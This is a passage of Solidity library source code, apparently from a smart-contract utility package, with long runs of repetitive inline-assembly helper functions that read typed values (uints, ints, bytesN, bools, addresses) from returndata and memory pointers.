}\n\n /// @dev Reads the uint72 at `rdPtr` in returndata.\n function readUint72(\n ReturndataPointer rdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint80 at `rdPtr` in returndata.\n function readUint80(\n ReturndataPointer rdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint88 at `rdPtr` in returndata.\n function readUint88(\n ReturndataPointer rdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint96 at `rdPtr` in returndata.\n function readUint96(\n ReturndataPointer rdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint104 at `rdPtr` in returndata.\n function readUint104(\n ReturndataPointer rdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint112 at `rdPtr` in returndata.\n function readUint112(\n ReturndataPointer rdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint120 at `rdPtr` in returndata.\n function readUint120(\n ReturndataPointer rdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint128 at `rdPtr` in returndata.\n function readUint128(\n ReturndataPointer rdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint136 at `rdPtr` in returndata.\n function readUint136(\n ReturndataPointer rdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint144 at `rdPtr` in returndata.\n function readUint144(\n ReturndataPointer rdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint152 at `rdPtr` in returndata.\n function readUint152(\n ReturndataPointer rdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint160 at `rdPtr` in returndata.\n function readUint160(\n ReturndataPointer rdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint168 at `rdPtr` in returndata.\n function readUint168(\n ReturndataPointer rdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint176 at `rdPtr` in returndata.\n function readUint176(\n ReturndataPointer rdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint184 at `rdPtr` in returndata.\n function readUint184(\n ReturndataPointer rdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint192 at `rdPtr` in returndata.\n function readUint192(\n ReturndataPointer rdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint200 at `rdPtr` in returndata.\n function readUint200(\n ReturndataPointer rdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint208 at `rdPtr` in returndata.\n function readUint208(\n ReturndataPointer rdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint216 at `rdPtr` in returndata.\n function readUint216(\n ReturndataPointer rdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint224 at `rdPtr` in returndata.\n function readUint224(\n ReturndataPointer rdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint232 at `rdPtr` in returndata.\n function readUint232(\n ReturndataPointer rdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint240 at `rdPtr` in returndata.\n function readUint240(\n ReturndataPointer rdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint248 at `rdPtr` in returndata.\n function readUint248(\n ReturndataPointer rdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint256 at `rdPtr` in returndata.\n function readUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int8 at `rdPtr` in returndata.\n function readInt8(\n ReturndataPointer rdPtr\n ) internal pure returns (int8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int16 at `rdPtr` in returndata.\n function readInt16(\n ReturndataPointer rdPtr\n ) internal pure returns (int16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int24 at `rdPtr` in returndata.\n function readInt24(\n ReturndataPointer rdPtr\n ) internal pure returns (int24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int32 at `rdPtr` in returndata.\n function readInt32(\n ReturndataPointer rdPtr\n ) internal pure returns (int32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int40 at `rdPtr` in returndata.\n function readInt40(\n ReturndataPointer rdPtr\n ) internal pure returns (int40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int48 at `rdPtr` in returndata.\n function readInt48(\n ReturndataPointer rdPtr\n ) internal pure returns (int48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int56 at `rdPtr` in returndata.\n function readInt56(\n ReturndataPointer rdPtr\n ) internal pure returns (int56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int64 at `rdPtr` in returndata.\n function readInt64(\n ReturndataPointer rdPtr\n ) internal pure returns (int64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int72 at `rdPtr` in returndata.\n function readInt72(\n ReturndataPointer rdPtr\n ) internal pure returns (int72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int80 at `rdPtr` in returndata.\n function readInt80(\n ReturndataPointer rdPtr\n ) internal pure returns (int80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int88 at `rdPtr` in returndata.\n function readInt88(\n ReturndataPointer rdPtr\n ) internal pure returns (int88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int96 at `rdPtr` in returndata.\n function readInt96(\n ReturndataPointer rdPtr\n ) internal pure returns (int96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int104 at `rdPtr` in returndata.\n function readInt104(\n ReturndataPointer rdPtr\n ) internal pure returns (int104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int112 at `rdPtr` in returndata.\n function readInt112(\n ReturndataPointer rdPtr\n ) internal pure returns (int112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int120 at `rdPtr` in returndata.\n function readInt120(\n ReturndataPointer rdPtr\n ) internal pure returns (int120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int128 at `rdPtr` in returndata.\n function readInt128(\n ReturndataPointer rdPtr\n ) internal pure returns (int128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int136 at `rdPtr` in returndata.\n function readInt136(\n ReturndataPointer rdPtr\n ) internal pure returns (int136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int144 at `rdPtr` in returndata.\n function readInt144(\n ReturndataPointer rdPtr\n ) internal pure returns (int144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int152 at `rdPtr` in returndata.\n function readInt152(\n ReturndataPointer rdPtr\n ) internal pure returns (int152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int160 at `rdPtr` in returndata.\n function readInt160(\n ReturndataPointer rdPtr\n ) internal pure returns (int160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int168 at `rdPtr` in returndata.\n function readInt168(\n ReturndataPointer rdPtr\n ) internal pure returns (int168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int176 at `rdPtr` in returndata.\n function readInt176(\n ReturndataPointer rdPtr\n ) internal pure returns (int176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int184 at `rdPtr` in returndata.\n function readInt184(\n ReturndataPointer rdPtr\n ) internal pure returns (int184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int192 at `rdPtr` in returndata.\n function readInt192(\n ReturndataPointer rdPtr\n ) internal pure returns (int192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int200 at `rdPtr` in returndata.\n function readInt200(\n ReturndataPointer rdPtr\n ) internal pure returns (int200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int208 at `rdPtr` in returndata.\n function readInt208(\n ReturndataPointer rdPtr\n ) internal pure returns (int208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int216 at `rdPtr` in returndata.\n function readInt216(\n ReturndataPointer rdPtr\n ) internal pure returns (int216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int224 at `rdPtr` in returndata.\n function readInt224(\n ReturndataPointer rdPtr\n ) internal pure returns (int224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int232 at `rdPtr` in returndata.\n function readInt232(\n ReturndataPointer rdPtr\n ) internal pure returns (int232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int240 at `rdPtr` in returndata.\n function readInt240(\n ReturndataPointer rdPtr\n ) internal pure returns (int240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int248 at `rdPtr` in returndata.\n function readInt248(\n ReturndataPointer rdPtr\n ) internal pure returns (int248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int256 at `rdPtr` in returndata.\n function readInt256(\n ReturndataPointer rdPtr\n ) internal pure returns (int256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n}\n\nlibrary MemoryReaders {\n /// @dev Reads the memory pointer at `mPtr` in memory.\n function readMemoryPointer(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads value at `mPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n value = mPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `mPtr` in memory.\n function readBool(MemoryPointer mPtr) internal pure returns (bool value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the address at `mPtr` in memory.\n function readAddress(\n MemoryPointer mPtr\n ) internal pure returns (address value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `mPtr` in memory.\n function readBytes1(\n MemoryPointer mPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `mPtr` in memory.\n function readBytes2(\n MemoryPointer mPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `mPtr` in memory.\n function readBytes3(\n MemoryPointer mPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `mPtr` in memory.\n function readBytes4(\n MemoryPointer mPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `mPtr` in memory.\n function readBytes5(\n MemoryPointer mPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `mPtr` in memory.\n function readBytes6(\n MemoryPointer mPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `mPtr` in memory.\n function readBytes7(\n MemoryPointer mPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `mPtr` in memory.\n function readBytes8(\n MemoryPointer mPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `mPtr` in memory.\n function readBytes9(\n MemoryPointer mPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `mPtr` in memory.\n function readBytes10(\n MemoryPointer mPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `mPtr` in memory.\n function readBytes11(\n MemoryPointer mPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `mPtr` in memory.\n function readBytes12(\n MemoryPointer mPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `mPtr` in memory.\n function readBytes13(\n MemoryPointer mPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `mPtr` in memory.\n function readBytes14(\n MemoryPointer mPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `mPtr` in memory.\n function readBytes15(\n MemoryPointer mPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `mPtr` in memory.\n function readBytes16(\n MemoryPointer mPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `mPtr` in memory.\n function readBytes17(\n MemoryPointer mPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `mPtr` in memory.\n function readBytes18(\n MemoryPointer mPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `mPtr` in memory.\n function readBytes19(\n MemoryPointer mPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `mPtr` in memory.\n function readBytes20(\n MemoryPointer mPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `mPtr` in memory.\n function readBytes21(\n MemoryPointer mPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `mPtr` in memory.\n function readBytes22(\n MemoryPointer mPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `mPtr` in memory.\n function readBytes23(\n MemoryPointer mPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `mPtr` in memory.\n function readBytes24(\n MemoryPointer mPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `mPtr` in memory.\n function readBytes25(\n MemoryPointer mPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `mPtr` in memory.\n function readBytes26(\n MemoryPointer mPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `mPtr` in memory.\n function readBytes27(\n MemoryPointer mPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `mPtr` in memory.\n function readBytes28(\n MemoryPointer mPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `mPtr` in memory.\n function readBytes29(\n MemoryPointer mPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `mPtr` in memory.\n function readBytes30(\n MemoryPointer mPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `mPtr` in memory.\n function readBytes31(\n MemoryPointer mPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `mPtr` in memory.\n function readBytes32(\n MemoryPointer mPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint8 at `mPtr` in memory.\n function readUint8(MemoryPointer mPtr) internal pure returns (uint8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint16 at `mPtr` in memory.\n function readUint16(\n MemoryPointer mPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint24 at `mPtr` in memory.\n function readUint24(\n MemoryPointer mPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint32 at `mPtr` in memory.\n function readUint32(\n MemoryPointer mPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint40 at `mPtr` in memory.\n function readUint40(\n MemoryPointer mPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint48 at `mPtr` in memory.\n function readUint48(\n MemoryPointer mPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint56 at `mPtr` in memory.\n function readUint56(\n MemoryPointer mPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint64 at `mPtr` in memory.\n function readUint64(\n MemoryPointer mPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint72 at `mPtr` in memory.\n function readUint72(\n MemoryPointer mPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint80 at `mPtr` in memory.\n function readUint80(\n MemoryPointer mPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint88 at `mPtr` in memory.\n function readUint88(\n MemoryPointer mPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint96 at `mPtr` in memory.\n function readUint96(\n MemoryPointer mPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint104 at `mPtr` in memory.\n function readUint104(\n MemoryPointer mPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint112 at `mPtr` in memory.\n function readUint112(\n MemoryPointer mPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint120 at `mPtr` in memory.\n function readUint120(\n MemoryPointer mPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint128 at `mPtr` in memory.\n function readUint128(\n MemoryPointer mPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint136 at `mPtr` in memory.\n function readUint136(\n MemoryPointer mPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint144 at `mPtr` in memory.\n function readUint144(\n MemoryPointer mPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint152 at `mPtr` in memory.\n function readUint152(\n MemoryPointer mPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint160 at `mPtr` in memory.\n function readUint160(\n MemoryPointer mPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint168 at `mPtr` in memory.\n function readUint168(\n MemoryPointer mPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint176 at `mPtr` in memory.\n function readUint176(\n MemoryPointer mPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint184 at `mPtr` in memory.\n function readUint184(\n MemoryPointer mPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint192 at `mPtr` in memory.\n function readUint192(\n MemoryPointer mPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint200 at `mPtr` in memory.\n function readUint200(\n MemoryPointer mPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint208 at `mPtr` in memory.\n function readUint208(\n MemoryPointer mPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint216 at `mPtr` in memory.\n function readUint216(\n MemoryPointer mPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint224 at `mPtr` in memory.\n function readUint224(\n MemoryPointer mPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint232 at `mPtr` in memory.\n function readUint232(\n MemoryPointer mPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint240 at `mPtr` in memory.\n function readUint240(\n MemoryPointer mPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint248 at `mPtr` in memory.\n function readUint248(\n MemoryPointer mPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint256 at `mPtr` in memory.\n function readUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int8 at `mPtr` in memory.\n function readInt8(MemoryPointer mPtr) internal pure returns (int8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int16 at `mPtr` in memory.\n function readInt16(MemoryPointer mPtr) internal pure returns (int16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int24 at `mPtr` in memory.\n function readInt24(MemoryPointer mPtr) internal pure returns (int24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int32 at `mPtr` in memory.\n function readInt32(MemoryPointer mPtr) internal pure returns (int32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int40 at `mPtr` in memory.\n function readInt40(MemoryPointer mPtr) internal pure returns (int40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int48 at `mPtr` in memory.\n function readInt48(MemoryPointer mPtr) internal pure returns (int48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int56 at `mPtr` in memory.\n function readInt56(MemoryPointer mPtr) internal pure returns (int56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int64 at `mPtr` in memory.\n function readInt64(MemoryPointer mPtr) internal pure returns (int64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int72 at `mPtr` in memory.\n function readInt72(MemoryPointer mPtr) internal pure returns (int72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int80 at `mPtr` in memory.\n function readInt80(MemoryPointer mPtr) internal pure returns (int80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int88 at `mPtr` in memory.\n function readInt88(MemoryPointer mPtr) internal pure returns (int88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int96 at `mPtr` in memory.\n function readInt96(MemoryPointer mPtr) internal pure returns (int96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int104 at `mPtr` in memory.\n function readInt104(\n MemoryPointer mPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int112 at `mPtr` in memory.\n function readInt112(\n MemoryPointer mPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int120 at `mPtr` in memory.\n function readInt120(\n MemoryPointer mPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int128 at `mPtr` in memory.\n function readInt128(\n MemoryPointer mPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int136 at `mPtr` in memory.\n function readInt136(\n MemoryPointer mPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int144 at `mPtr` in memory.\n function readInt144(\n MemoryPointer mPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int152 at `mPtr` in memory.\n function readInt152(\n MemoryPointer mPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int160 at `mPtr` in memory.\n function readInt160(\n MemoryPointer mPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int168 at `mPtr` in memory.\n function readInt168(\n MemoryPointer mPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int176 at `mPtr` in memory.\n function readInt176(\n MemoryPointer mPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int184 at `mPtr` in memory.\n function readInt184(\n MemoryPointer mPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int192 at `mPtr` in memory.\n function readInt192(\n MemoryPointer mPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int200 at `mPtr` in memory.\n function readInt200(\n MemoryPointer mPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int208 at `mPtr` in memory.\n function readInt208(\n MemoryPointer mPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the int216 at `mPtr` in memory.\n function readInt216(\n MemoryPointer mPtr\n ) internal pure returns (int216 